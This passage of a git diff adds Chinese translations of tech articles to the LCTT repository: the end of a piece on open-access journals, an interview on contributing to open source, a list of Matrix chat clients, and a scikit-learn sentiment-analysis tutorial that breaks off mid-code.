OA:以传统方式出版后,再通过上传预印版或者接受版论文至开放仓库或者服务器完成自行归档。一些高校拥有用于上述目的的公共仓库。举例而言,韦仕敦大学Western University 拥用 [Scholarship@Western][6] 公共仓库,该校的任何教师都可以在上面分享他们的作品。而没有自己机构的公共仓库的学者可以使用诸如 [preprints.org][7]、[arXiv][8] 或 [OSF preprints][9] 等网络服务器。我也会将社交媒体用于学术,比如将 [Academia][10] 或 [ResearchGate][11] 用于自行存档。由于不同的出版商设计了不同的规则,这是不方便查阅的,而且某种程度上是耗时耗时耗力的。 +* 金色开放获取模式Gold OA:在日益壮大的具有影响因子的期刊列表上选一份期刊发表,它将使你的文章发表后可以自由获取但是需要文章处理费。这种方式易于查阅:开放获取设置内建于出版过程中,只需要像往常一样进行学术出版。这种方式的缺点是可能会从研究活动中拿出一部分资金用于文章处理的费用。 +* 白金开放获取模式Platinum OA:在具有影响因子的白金开放获取期刊上发表。不需要为出版和阅读付费。挑战在于在你的学科中找到符合上述标准的期刊,不过情况正在持续变化。 + +有数以万计的期刊,但是只有几百种具有影响因子的白金开放获取期刊。对于学者,困难可能在于在他们的研究与符合他们预期的期刊之间找到一个合适的平衡。你可以在我的研究报告附录中找到本文提到的列表,或者使用上文提到的 Python 脚本自行更新列表数量。白金开放获取期刊的数量正在快速增长,因此如果你目前尚未找到合适的期刊,仍然可能在不久以后拥有一些可靠的期刊以供选择。祝你享受出版的乐趣! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/platinum-open-access-academic-journals + +作者:[Joshua Pearce][a] +选题:[lkxed][b] +译者:[CanYellow](https://github.com/CanYellow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jmpearce +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/books_read_list_stack_study.png +[2]: https://doi.org/10.3390/knowledge2020013 +[3]: https://doaj.org/ +[4]: https://osf.io/mh4bx/ +[5]: https://www.theguardian.com/science/2012/apr/24/harvard-university-journal-publishers-prices +[6]: https://ir.lib.uwo.ca/ +[7]: https://www.preprints.org/ +[8]: https://arxiv.org/ +[9]: https://osf.io/preprints/ +[10]: https://westernu.academia.edu/JoshuaPearce/Papers +[11]: https://www.researchgate.net/profile/Joshua-Pearce +[12]: https://www.mdpi.com/2673-9585/2/2/13 +[0]: https://img.linux.net.cn/data/attachment/album/202302/27/112759qkqjj1i1qg0xg21g.jpg \ No newline at end of file diff --git a/published/202302/20220616 -It-s time to contribute to open source-.md b/published/202302/20220616 -It-s time to contribute to open source-.md new file mode 100644 index 0000000000..ba0e84fd36 --- /dev/null +++ b/published/202302/20220616 -It-s time to contribute to open source-.md @@ -0,0 +1,137 @@ +[#]: subject: "“It’s time to contribute to open source”" +[#]: via: "https://www.opensourceforu.com/2022/06/its-time-to-contributing-to-open-source/" +[#]: author: "Abbinaya Kuzhanthaivel https://www.opensourceforu.com/author/abbinaya-swath/" +[#]: collector: "lkxed" +[#]: translator: "XiaotingHuang22" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15555-1.html" + +“是时候为开源做贡献了” +====== + +![][0] + +Nilesh Vaghela 是 AWS 的社区英雄community hero,也是一家云计算开源公司 ElectroMech Corporation 的创始人。据 Nilesh 说,为开源做出贡献本身就是一种有意义的事。但是它需要人们的投入和奉献,而这个过程涉及许多步骤,从选择项目到确保你的贡献成果获得关注。在与 OSFY的 Abbinaya Kuzhanthaivel 的对话中,他分享了一些关于开发人员如何帮助提高印度对开源的贡献的技巧。 + +![Nilesh Vaghela, AWS 的社区英雄以及 ElectroMech 公司的创始人][1] + +### 问:你能告诉我们一下你目前的角色和对开源的贡献吗? + +**答:** 我目前是一名从事自动化工作的架构师。我领导着多个团队,并且同时主要在开源安全服务平台 Invinsense 上作出贡献。我在 1998 年初创建了开源小组,当时已经有大约 1500 名成员。我现在管理的一个小组 (https://groups.google.com/g/vglug) 自 2014-15 年以来一直非常活跃。 + +### 问:你是如何开始在开源项目中工作的? + +**答:** 我是一名有着从业资格的机械工程师,当时我在我的公司 ElectroMech Corporation 负责调制解调器和 UPS 系统。我慢慢地被拖入负责 PC、网络和 Linux 等等。1996 年,我在核科学中心看到超过 150 台计算机服务器在 Linux 上运行时广受启发,之后便开始尝试。自此我将我的公司完全转变为专注于培训和支持的开源公司。 + +我可以自豪地说,我是最早一批使用开源的人 —— 帮助客户了解什么是开源、它有什么好处、什么是免费的、安全或代码问题等等。我们在 Vadodara 得到了至少四五个客户,并且最终通过黄页上的广告宣传自己。我们与 Red Hat 合作并且关系一直持续到现在。 + +### 问:自那以来你认为开源发展如何? + +**答:** 我可以说,早些时候,开源是一种令人着迷的强烈爱好,吸引人们参与其中。当一些来自西伯利亚的贡献者致力于改善水资源短缺问题时,世界各地的用户都说他们的产品有多么简单易用,这给我留下了特别深刻的印象。它更像是一项企业社会责任(CSR)活动。人们和专家创建一个委员会来管理和推进项目。人们会因为对技术的热爱而加入进来,没有任何期望。 + +那时我并不相信开源可以商业化,但它是当今大多数创新和技术的驱动力,而且越来越多的企业正在采用它。我们期待在贡献和使用开源方面取得很好的平衡,因为我们有个人、社区和大公司参与进来。这才是开源真正的未来和力量。 + +### 问:你可以分享一些自己遇到的困难吗? + +**答:** 最初我是单枪匹马干,但一旦人们知道我的意图是好的,他们就会加入我。我在没有任何期望的情况下创建了很多社区,但确实在声誉或名望方面间接地获得了回报;有人理解我是技术达人,并长期给我项目。在早期,人们刚开始加入社区并且不需要付出很多精力就可以做出贡献。因为我的目标不是做生意,因此可以说我没有真正面临什么障碍。 + +### 问:作为社区领袖,你的领导格言和经验教训是什么? + +**答:** 首先,如果你想建立一个社区,那就保持中立,不要抱有偏见。虽然看起来好像是你作为领导者正在管理一个社区,但请记住,加入社区的人都是平等地做出贡献的。永远不要让成员失去动力。在发表评论和回答问题时要有礼貌。不管是什么问题,如果你不想回答,那就选择沉默。但别让人们停止提问,而是帮助他们建立专业知识。 + +第二,不要让社区掺杂商业。不要让社区的目标和你个人企业的目标产生混淆和互相匹配。将它们严格区分开来。 + +始终尝试鼓励人们参与,而不是作为专家提供指导。如果你发现人们有兴趣领导项目并采取主动,请给出舞台让他们发挥。邀请他们参与社区活动。这将帮助你培养更多的社区领袖。此外,让你的社区保持简单,不要在初始阶段让赞助商参与进来。 + +### 问:你从谁那里得到了灵感? + +**答:** 开源运动之父 Richard Stallman 是我的灵感来源,我一直很钦佩他的项目。 + +除了他之外,我还有一个有趣的事要分享,它激励着我从事开源工作。在我开始从事开源工作的时候,核科学中心的大部分软件都是基于 Windows 操作系统的。然而,许多科学家希望使用基于 Linux 的软件。在两三个月内,他们实际上创建了 Linux 驱动程序。这就是让我着迷的地方——用户可以创建这些驱动程序,这在专有软件中是不太可能发生的。我真的很喜欢开源赋权用户这一点。 + +### 问:你对印度开源格局以及改进空间有什么看法? + +**答:** 印度是使用开源的人最多的国家(LCTT 校注:或应加上“之一”),我们正致力于成为贡献者。有这么多开发者,印度却仍然没有软件巨头。我们拥有的主要是服务提供者,而不是创新者。更多的人应该成为开源的贡献者,去开发具有国际标签的东西。 + +为开源做贡献的想法应该从学校和大学抓起。幸运的是,古吉拉特邦政府已经在 8 年级到 10 年级里推出基于 Linux 的课程。教育年轻一代并让他们了解开源模型很重要。 + +其次,我们要培养好的导师。当人们开始贡献时,找到一位在这个项目中工作的开源导师很重要。导师给出了一个小任务,尝试代码然后提交。如果一切顺利,成员的贡献会逐渐增加。不幸的是,在印度导师很少。我们需要有很多导师,或者可以与世界各地的导师建立联系。 + +第三是要鼓励那些踊跃贡献的人。让人们发现,一旦你成为了一位广受认可的开发人员或为开源开发做出贡献的人,你在职业发展和业务上也会有所突破。 + +通过遵循这些简单的方法,印度可以成为开源的主要贡献者。 + +### 问:你如何看待为开源做出贡献时编程方面的要求? + +**答:** 根据我的经验,如果你知道计算机内部的知识,如何开发应用程序,你应该维护什么样的代码标准,以及如何管理团队和其他最佳做法,你可能不必担心编程专业知识。 + +在设计、安全维护和整合方面还有其他角色可以担任。看看你合适什么。通过做你喜欢的事情来不断提升加强自己的技能。如果你仍然对编码感兴趣,那么你就在其他开发人员的支持下去学习。 + +### 问:你如何确定一个你想参与的项目? + +**答:** 你需要了解你最感兴趣的几个领域,然后对围绕这些领域发生的项目进行研究。你需要弄清楚哪些领域有招募更多志愿者的需求或职位空缺。 你可以从小处着手练习,然后积累专业知识。 + +避免随大流;重要的是你的个人兴趣。例如,因为现在 DevOps(开发运维一体化)的需求量很大,你便可能更倾向于选择 DevOps 项目。不要犯这个错误。 + +你可以在云原生基金会([CNCF][2])、Apache、Fedora、Red Hat 等平台上找到开源项目。通过这种方式,你还可以找到已经在从事项目并可以给出适当指导的导师。 + +### 问:每个项目有自己的目的和目标受众,有时它们甚至与开源目标不一致。那么,在开始做出贡献之前要核实什么? + +**答:** 我同意,当有人开始一个开源项目但随后又将其商业化时,你会感到为开源作出贡献也变得颇有难度。但这样的风险总是会有的,不应让你对此感到挫败。 + +首先试着去了解该小组 —— 小组中的贡献者有多受欢迎,他们贡献了多长时间,以及他们的声誉如何。一旦你加入,观察每一个人和每一件事是关键。尝试至少学习三到六个月,并了解一切是如何运作的。如果你发现他们的意图不对,你可以随时离开这个项目。但如果你觉得没问题,那就继续做贡献吧。 + +![ElectroMech 公司的团队][3] + +你可以看看他们是否有某些许可证,例如 GPLv3。你还可以查看未修改的许可证版本,例如 Apache 开源许可证。 + +### 问:你觉得大公司会接受应届生投稿吗? + +**答:** 是的,当然。公司也喜欢指导新人。他们通常不允许你直接贡献,但可能先会给你一个小任务。导师会首先尝试了解你拥有什么技能以及你的能力如何。一旦他们认可你具备所需的技能,他们将继续指导你或根据你的技能将你分配给其他导师。初始阶段非常关键。很多公司都会做一些筛选,只有在你证明了自己的能力之后,你才会被允许做出贡献。 + +### 问:贡献者在接手项目时必须克服的最初挑战是什么? + +**答:** 首先,你应该非常认真地对待你的贡献。没有书面承诺,贡献者可能倾向于对工作掉以轻心。这种想法是完全错误的。尝试每天投入 8-10 小时或任何可行的时间。如果你因为觉得没有立竿见影的回报而不愿投入其中,那么你就不是一个好的贡献者。 + +在最初阶段始终严格遵守导师的指导。这对于健康的贡献非常重要。有时你可能会认为自己擅长某事,而你的导师可能不会根据该技能给你分配项目。在这种情况下只需找你的导师,问他你应该做什么,你的角色是什么,以及你可以如何贡献。 + +### 问:许多开发人员在提交项目贡献后没有得到回复。如何让自己提交的东西被人注意到呢? + +**答:** 写一篇关于你计划作出贡献的项目的小博客,包括你喜欢的方面,你不喜欢的地方,以及可以改进的地方。这种积极的推广方式可以帮到你很多。 + +成为小组的一员并参与与该项目相关的活动。作为贡献的替代,首先尝试参与到团队中去,这将增加你被采纳为贡献者的机会。 + +一旦你对项目有了更好的了解,你的工作不仅会被接受,而且你将能够更好地适应该项目。 + +### 问:你如何克服你的贡献不被接受的情况? + +**答:** 就是理解发生这种情况的原因有很多 —— 也许你没有在合适的项目中,或者你没有做出正确的贡献。如果项目是国家驱动的,你的请求可能不会被接受。因此,如前所述,请记得列个清单。如果你的贡献没有被接受,请不要担心,因为要么你不适合该项目,要么该项目不适合你。 + +我会建议尝试找四到五个项目,并且至少有一个项目会接受你所做的工作。 + +### 问:你对我们的读者有何想说的? + +**答:** 开源是当今大多数创新背后的驱动力。让我们根据自己的能力和技能试着做出贡献,而不是仅仅使用开源。贡献可以是代码、文档、测试、博客、金钱等。是时候做出贡献了。 + +### 问:ElectroMech 公司有招人的计划吗? + +**答:** 我们在云计算 DevOps(开发运维一体化)方面有需求,正在招聘云架构师、Python 开发人员、Linux 架构师和安全专业人员。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/its-time-to-contributing-to-open-source/ + +作者:[Abbinaya Kuzhanthaivel][a] +选题:[lkxed][b] +译者:[XiaotingHuang22](https://github.com/XiaotingHuang22) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/abbinaya-swath/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Nilesh-Vaghela-AWS-community-hero-and-founder-ElectroMech-Corporation.jpg +[2]: https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwib2vvv3dv3AhVa7XMBHfZSCsIQFnoECAgQAQ&url=https%3A%2F%2Fwww.cncf.io%2F&usg=AOvVaw2LnRyH4SZPDHntRLJU_b3q +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/05/The-team-at-ElectroMech-Corporation.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202302/19/141128wxkesmzesuboso6w.jpg \ No newline at end of file diff --git a/published/202302/20220616 9 Best Matrix Clients for Decentralized Messaging.md b/published/202302/20220616 9 Best Matrix Clients for Decentralized Messaging.md new file mode 100644 index 0000000000..2fb8b50590 --- /dev/null +++ b/published/202302/20220616 9 Best Matrix Clients for Decentralized Messaging.md @@ -0,0 +1,219 @@ +[#]: subject: "9 Best Matrix Clients for Decentralized Messaging" +[#]: via: "https://itsfoss.com/best-matrix-clients/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "TravinDreek" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15515-1.html" + +9 款最佳的去中心化通讯软件 Matrix 的客户端 +====== + +![][0] + +Matrix 是一套开放的网络标准,专用于去中心化实时加密通讯。 + +这套标准由 Matrix.org 基金会发布和维护。Matrix.org 基金会是一个非营利性组织,致力于创建一个开放、独立且不断演进的通讯平台。 + +如果一款应用支持 Matrix 协议,那就可以视它为 Matrix 客户端。 + +### 为何要选用 Matrix 客户端? + +[Matrix][1] 客户端致力于安全性和隐私性,并且提供了一个去中心化的网络,令许多特性得以实现。 + +自 2019 年(正式版本发布)以来,部分组织以及政府机构便开始逐渐采用 Matrix 协议,从而搭建安全、隐私、可靠的通讯平台。 + +就实际而言,去中心化的协议实现了不同组织间的相互通讯,同时也使得这个通讯协议得以抵抗审查。 + +如果你想要逃脱科技巨头的魔爪,那 Matrix 就是正确的选择。 + +不仅如此,你还可以运行自己的服务器,并加入 Matrix 网络。换言之,通讯的基础设施是去中心化的,但你仍然能够根据需要,对其进行部署和配置。 + +如果你好奇的话,Matrix 协议具备了你需要的所有基本功能: + +* 去中心化交流 +* 端到端加密 +* WebRTC 语音通话 / 视频通话 +* 实时同步 +* 消息已读用户显示 +* “正在输入中” 提示 +* 群组聊天 + +而且,我还要再强调一次:这个项目是**开源**的! + +所以,Matrix 客户端已经是不二之选了。对那些注重隐私和安全的用户来说,则更是如此。 + +> LCTT 译注:实际上,Matrix 只是在隐私和便利之间达成了一种相对的平衡。它是将类似 Mastodon 的 联邦federated 网络结构用在了聊天中,也就是说,虽然整个网络去中心化成了许多节点,但节点服务器的运营者仍然能对其用户进行少量掌控。但总的来说,相对那些中心化的聊天应用而言,Matrix 是个值得考虑的替代品。 + +### 9 款最佳的开源 Matrix 客户端 + +本文中,我将介绍一些最好用的 Matrix 客户端,其中主要是桌面客户端(Linux、Windows、macOS),同时也推荐一些移动客户端和终端客户端。 + +#### 1、Element + +![element][2] + +[Element][3] 是最佳的 Slack 开源替代品之一。它可以用于个人通讯,也能用于群组聊天。 + +你可以免费使用,不过你也可以选择自己搭建服务器,或者付费使用托管的家庭服务器。Element 提供了许多有用的功能,让你能够高效协作,并与你的团队或好友加密通讯。 + +> LCTT 译注:如同 Mastodon 一样,自费搭建服务器或者付费使用服务器,对大部分用户而言都是不必要的。初学者建议前往 ,并选择一个现有的服务器进行注册,其中许多服务器都是免费开放注册,并且国内可以连接的。下述的订阅功能也并不是必要的。 + +如果你选择付费订阅,你还能将 Signal、WhatsApp 和 Telegram 聊天并入其中。 + +它支持 Linux、Windows 和 macOS,同时还提供 Android 和 iOS 的手机客户端。并且,你还能在网页浏览器中使用它。因此,这是个方便的选择。 + +> LCTT 译注:国内用户可能会在桌面客户端遇到错误,导致无法使用 Element。这是因为它在首次启动会连接 matrix.org,但是国内用户无法访问这个地址。要解决此问题,须手动修改配置文件(篇幅有限,详见相关教程)。实在无法解决,可使用基于 Element 的 [SchildiChat](https://schildi.chat/),或下文列出的其他客户端。 + +> **[Element][4]** + +#### 2、Rocket.Chat + +![rocket chat][5] + +[Rocket.Chat][6] 是另一个 Slack 替代品,我们更喜欢把它当成团队内部的通讯工具。 + +你可以在 Linux、Windows 和 macOS 上使用它,也可以获取 Android 和 iOS 的手机应用。 + +尽管你可以选择自建服务器或付费订阅,但它也宣布正在添加 [Matrix 协议的支持][7]。 + +本文创作之时,已经可以在 alpha 版中使用 Matrix 网络。不过,稳定版应该很快就会发布了。所以,如果你已经在使用 Rocket.Chat,或者想把它当作 Matrix 客户端来使用,那么敬请关注后续版本的发布。 + +> **[Rocket.Chat][8]** + +#### 3、NeoChat + +![neochat][9] + +NeoChat 是一个简单的 Matrix 客户端,目前在 KDE 社区的管理下积极开发。 + +与 Element 不同,它只支持 Linux 和 Windows,特别是为 KDE Plasma 量身定做。你也可以在其他桌面环境使用它。 + +你可以在 KDE 的 “发现Discover” 软件中心、Flathub 以及 Snap 商店安装它。它不支持手机平台。所以,如果有桌面用户想要一个简单的 Matrix 客户端,那 NeoChat 也是一个不错的选择。 + +> LCTT 译注:纠正一下,NeoChat 也支持安卓,可直接下载二进制,也可在 F-Droid 中添加 KDE 仓库后下载。除此之外,它还支持 macOS。详见其源代码仓库。 + +了解更多,可以查看它的 [源代码][10]。 + +> **[NeoChat][11]** + +#### 4、FluffyChat + +![fluffychat][12] + +FluffyChat 在用户体验方面,是一个美观(可爱)的 Matrix 客户端。 + +如果你想要一个简单又直观的 Matrix 客户端,并且支持桌面和手机(安卓和 iOS),那么 FluffyChat 是一个不错的选择。 + +Linux 用户可以从 Snap 商店或 Flathub 安装它。它并不提供 Windows 和 macOS 的原生应用支持,但你可以在网页浏览器中使用它。 + +如果你好奇的话,可以从它的 [GitLab 页面][13] 了解更多。 + +> **[FluffyChat][14]** + +#### 5、Fractal + +![fractal][15] + +Fractal 是一款用于 GNOME 桌面的 Matrix 聊天客户端,使用 Rust 编写。正如其描述所说,它的界面经过优化,适合大型团队的协作。 + +由于它以 Flatpak 的形式发布,你可以在任何 Linux 发行版上安装它,无论桌面环境如何。 + +如果你喜欢能够在系统上快速运行的应用,那 Fractal 可能是不错的选择。可以前往它的 [GitLab 页面][16] 了解更多。 + +> **[Fractal][17]** + +#### 6、Hydrogen Web(实验性) + +![hydrogen][18] + +在找其它的精简的(专注性能)Matrix 客户端吗? + +Hydrogen 聊天客户端提供轻量级体验、离线功能,并有着广泛的浏览器支持。 + +虽然仍未完工,但 Element 背后的同一支团队正在开发着它。所以,如果你期待看到一个轻量的 Matrix 客户端替代品,你可以在它的 [GitHub 页面][19] 跟进该项目。 + +> **[Hydrogen][20]** + +#### 7、Matrix Commander(基于命令行) + +如果你想要用终端在 Matrix 网络上来收发文字消息,这个命令行工具就十分不错。 + +当然,并非一切都能在终端完成。所以,最好创建 cron 任务来实现消息提醒、机器人等用例。 + +你可以在 [PyPi][21] 或者 Docker Hub 上找到它。 + +> **[Matrix Commander][22]** + +#### 8、Gomuks(基于命令行) + +![gomuks][23] + +想试试用 Go 写的终端 Matrix 客户端? + +并非每个人都可以尝试。不过,如果你喜欢用 Go 写的命令行工具,可以用 Gomuks 这个简单的 Matrix 客户端来进行基本聊天。 + +你可以在它的 [GitHub Releases 部分][24] 找到其 Linux、Windows 和 macOS 的二进制文件。 + +> **[Gomuks][25]** + +#### 9、Syphon(Alpha 版) + +![syphon][26] + +我们通常会避免列出仍处于早期开发的程序。但是,Syphon 作为一个手机专用的 Matrix 客户端,是一个有趣的选择。 + +如果你想要为你的安卓 / iOS 设备安装一个类似 Signal 的开源 Matrix 客户端,那选择 Syphon 也不错。用户界面看起来很熟悉(但并不是完全照抄的)。如果你想实验一下,那可以试试。 + +> **[Syphon][27]** + +### 总结 + +Matrix 协议也许没能流行于所有组织和人群之中。但是,可以证明的是,作为一个开源项目,它能称得上是一个隐私可靠的去中心化网络。 + +最好的一点在于,你可以选择你想要的客户端,而不必被迫使用特定的应用才能在多个设备之间进行通信。 + +所以,你会选择什么作为你最喜欢的 Matrix客户端? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/best-matrix-clients/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[Peaksol](https://github.com/TravinDreek) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://matrix.org/ +[2]: https://itsfoss.com/content/images/wordpress/2022/06/element-2022.jpg +[3]: https://itsfoss.com/element/ +[4]: https://element.io/ +[5]: https://itsfoss.com/content/images/wordpress/2022/06/rocket-chat-2022.jpg +[6]: https://itsfoss.com/rocket-chat/ +[7]: https://news.itsfoss.com/rocket-chat-matrix/ +[8]: https://rocket.chat/ +[9]: https://itsfoss.com/content/images/wordpress/2022/06/neochat.png +[10]: https://invent.kde.org/network/neochat +[11]: https://apps.kde.org/neochat/ +[12]: https://itsfoss.com/content/images/wordpress/2022/06/fluffychat.png +[13]: https://gitlab.com/famedly/fluffychat +[14]: https://fluffychat.im/ +[15]: https://itsfoss.com/content/images/wordpress/2022/06/fractal.png +[16]: https://gitlab.gnome.org/GNOME/fractal +[17]: https://wiki.gnome.org/Apps/Fractal +[18]:https://itsfoss.com/content/images/wordpress/2022/06/hydrogen.png +[19]: https://github.com/vector-im/hydrogen-web/ +[20]: https://github.com/vector-im/hydrogen-web/ +[21]: https://pypi.org/project/matrix-commander/ +[22]: https://github.com/8go/matrix-commander +[23]: https://itsfoss.com/content/images/wordpress/2022/06/gomuks.png +[24]: https://github.com/tulir/gomuks/releases +[25]: https://maunium.net/go/gomuks/ +[26]: https://itsfoss.com/content/images/wordpress/2022/06/syphon.jpg +[27]: https://syphon.org/ +[0]: https://img.linux.net.cn/data/attachment/album/202302/06/163855x1rdxojvn1ohh00v.jpg \ No newline at end of file diff --git a/published/202302/20220906 How to Analyse Sentiments Using Machine Learning.md b/published/202302/20220906 How to Analyse Sentiments Using Machine Learning.md new file mode 100644 index 0000000000..b119fec784 --- /dev/null +++ b/published/202302/20220906 How to Analyse Sentiments Using Machine Learning.md @@ -0,0 +1,245 @@ +[#]: subject: "How to Analyse Sentiments Using Machine Learning" +[#]: via: "https://www.opensourceforu.com/2022/09/how-to-analyse-sentiments-using-machine-learning/" +[#]: author: "Jishnu Saurav Mittapalli https://www.opensourceforu.com/author/jishnu-saurav-mittapalli/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15504-1.html" + +如何使用机器学习来分析情感 +====== + +![][0] + +本文将帮助你理解 情感分析sentiment analysis 的概念,并且学习如何使用机器学习进行情感分析。我们使用了不同的机器学习算法进行情感分析,然后将各个算法的准确率结果进行比较,以确定哪一种算法最适合这个问题。 + +情感分析是自然语言处理(NLP)中的一个重要的内容。情感指的是我们对某一事件、物品、情况或事物产生的感觉。情感分析是一个从文本中自动提取人类情感的研究领域。它在上世纪 90 年代初才慢慢地开始发展起来。 + +本文将让你明白如何将机器学习(ML)用于情感分析,并比较不同机器学习算法的结果。本文的目标不在于研究如何提高算法性能。 + +如今,我们生活在一个快节奏的社会中,所有的商品都能在网上购买到,每个人都可以在网上发表自己的评论。而一些商品的负面网络评论可能会损害公司的声誉,从而影响公司的销售额。因此对公司来说,通过商品评论来了解客户真正想要什么变得非常重要。但是这些评论数据太多了,无法一个个地手动查看所有的评论。这就是情绪分析诞生的缘由。 + +现在,就让我们看看如何用机器学习开发一个模型,来进行基本的情绪分析吧。 + +### 现在就开始吧! + +#### 获取数据 + +第一步是选择一个数据集。你可以从任何公开的评论中进行选择,例如推文或电影评论。数据集中至少要包含两列:标签和实际的文本段。 + +下图显示了我们选取的部分数据集。 + +![Figure 1: Data sample][1] + +接下来,我们导入所需的库: + +``` +import pandas as pd +import numpy as np +from nltk.stem.porter import PorterStemmer +import re +import string +``` + +正如你在上面代码看到,我们导入了 `NumPy` 和 `Pandas` 库来处理数据。至于其他库,我们会在使用到它们时再说明。 + +数据集已准备就绪,并且已导入所需的库。接着,我们需要用 `Pandas` 库将数据集读入到我们的项目中去。我们使用以下的代码将数据集读入 Pandas 数据帧DataFrame 类型: + +``` +sentiment_dataframe = pd.read_csv(“/content/drive/MyDrive/Data/sentiments - sentiments.tsv”,sep = ‘\t’) +``` + +#### 数据处理 + +现在我们的项目中已经导入好数据集了。然后,我们要对数据进行处理,以便算法可以更好地理解数据集的特征。我们首先为数据集中的列命名,通过下面的代码来完成: + +``` +sentiment_dataframe.columns = [“label”,”body_text”] +``` + +然后,我们对 `label` 列进行数值化:`negative` 的评论替换为 1,`positive` 的评论替换为 0。下图显示了经过基本修改后的 `sentiment_dataframe` 的值。 + +![Figure 2: Data frame with basic modifications][2] + +#### 准备好特征值、目标值 + +下一步是数据的预处理。这是非常重要的一步,因为机器学习算法只能理解/处理数值形数据,而不能理解文本,所以此时要进行特征抽取,将字符串/文本转换成数值化的数据。此外,还需要删除冗余和无用的数据,因为这些数据可能会污染我们的训练模型。我们在这一步中去除了噪声数据、缺失值数据和不一致的数据。 + +对于情感分析,我们在数据帧中添加特征文本的长度和标点符号计数。我们还要进行词干提取,即将所有相似词(如 “give”、“giving” 等)转换为单一形式。完成后,我们将数据集分为两部分:特征值 X 和 目标值 Y。 + +上述内容是使用以下代码完成的。下图显示了执行这些步骤后的数据帧。 + +![Figure 3: Data frame after the division of the data set][3] + +``` +def count_punct(text): + count = sum([1 for char in text if char in string.punctuation]) + return round(count/(len(text) - text.count(“ “)),3)*100 + +tokenized_tweet = sentiment_dataframe[‘body_text’].apply(lambda x: x.split()) +stemmer = PorterStemmer() +tokenized_tweet = tokenized_tweet.apply(lambda x: [stemmer.stem(i) for i in x]) +for i in range(len(tokenized_tweet)): + tokenized_tweet[i] = ‘ ‘.join(tokenized_tweet[i]) +sentiment_dataframe[‘body_text’] = tokenized_tweet +sentiment_dataframe[‘body_len’] = sentiment_dataframe[‘body_text’].apply(lambda x:len(x) - x.count(“ “)) +sentiment_dataframe[‘punct%’] = sentiment_dataframe[‘body_text’].apply(lambda x:count_punct(x)) +X = sentiment_dataframe[‘body_text’] +y = sentiment_dataframe[‘label’] +``` + +#### 特征工程:文本特征处理 + +我们接下来进行文本特征抽取,对文本特征进行数值化。为此,我们使用计数向量器CountVectorizer,它返回词频矩阵。 + +在此之后,计算数据帧 X 中的文本长度和标点符号计数等特征。X 的示例如下图所示。 + +![Figure 4: Sample of final features][4] + +#### 使用的机器学习算法 + +现在数据已经可以训练了。下一步是确定使用哪些算法来训练模型。如前所述,我们将尝试多种机器学习算法,并确定最适合情感分析的算法。由于我们打算对文本进行二元分类,因此我们使用以下算法: + +* K-近邻算法(KNN) +* 逻辑回归算法 +* 支持向量机(SVMs) +* 随机梯度下降(SGD) +* 朴素贝叶斯算法 +* 决策树算法 +* 随机森林算法 + +#### 划分数据集 + +首先,将数据集划分为训练集和测试集。使用 `sklearn` 库,详见以下代码: + +``` +from sklearn.model_selection import train_test_split +X_train, X_test, y_train, y_test = train_test_split(X,y, test_size = 0.20, random_state = 99) +``` + +我们使用 20% 的数据进行测试,80% 的数据用于训练。划分数据的意义在于对一组新数据(即测试集)评估我们训练的模型是否有效。 + +##### K-近邻算法 + +现在,让我们开始训练第一个模型。首先,我们使用 KNN 算法。先训练模型,然后再评估模型的准确率(具体的代码都可以使用 Python 的 `sklearn` 库来完成)。详见以下代码,KNN 训练模型的准确率大约为 50%。 + +``` +from sklearn.neighbors import KNeighborsClassifier +model = KNeighborsClassifier(n_neighbors=3) +model.fit(X_train, y_train) +model.score (X_test,y_test) + +0.5056689342403629 +``` + +##### 逻辑回归算法 + +逻辑回归模型的代码十分类似——首先从库中导入函数,拟合模型,然后对模型进行评估。下面的代码使用逻辑回归算法,准确率大约为 66%。 + +``` +from sklearn.linear_model import LogisticRegression +model = LogisticRegression() +model.fit (X_train,y_train) +model.score (X_test,y_test) + +0.6621315192743764 +``` + +##### 支持向量机算法 + +以下代码使用 SVM,准确率大约为 67%。 + +``` +from sklearn import svm +model = svm.SVC(kernel=’linear’) +model.fit(X_train, y_train) +model.score(X_test,y_test) + +0.6780045351473923 +``` + +##### 随机森林算法 + +以下的代码使用了随机森林算法,随机森林训练模型的准确率大约为 69%。 + +``` +from sklearn.ensemble import RandomForestClassifier +model = RandomForestClassifier() +model.fit(X_train, y_train) +model.score(X_test,y_test) + +0.6938775510204082 +``` + +##### 决策树算法 + +接下来,我们使用决策树算法,其准确率约为 61%。 + +``` +from sklearn.tree import DecisionTreeClassifier +model = DecisionTreeClassifier() +model = model.fit(X_train,y_train) +model.score(X_test,y_test) + +0.6190476190476191 +``` + +##### 随机梯度下降算法 + +以下的代码使用随机梯度下降算法,其准确率大约为 49%。 + +``` +from sklearn.linear_model import SGDClassifier +model = SGDClassifier() +model = model.fit(X_train,y_train) +model.score(X_test,y_test) + +0.49206349206349204 +``` + +##### 朴素贝叶斯算法 + +以下的代码使用朴素贝叶斯算法,朴素贝叶斯训练模型的准确率大约为 60%。 + +``` +from sklearn.naive_bayes import GaussianNB +model = GaussianNB() +model.fit(X_train, y_train) 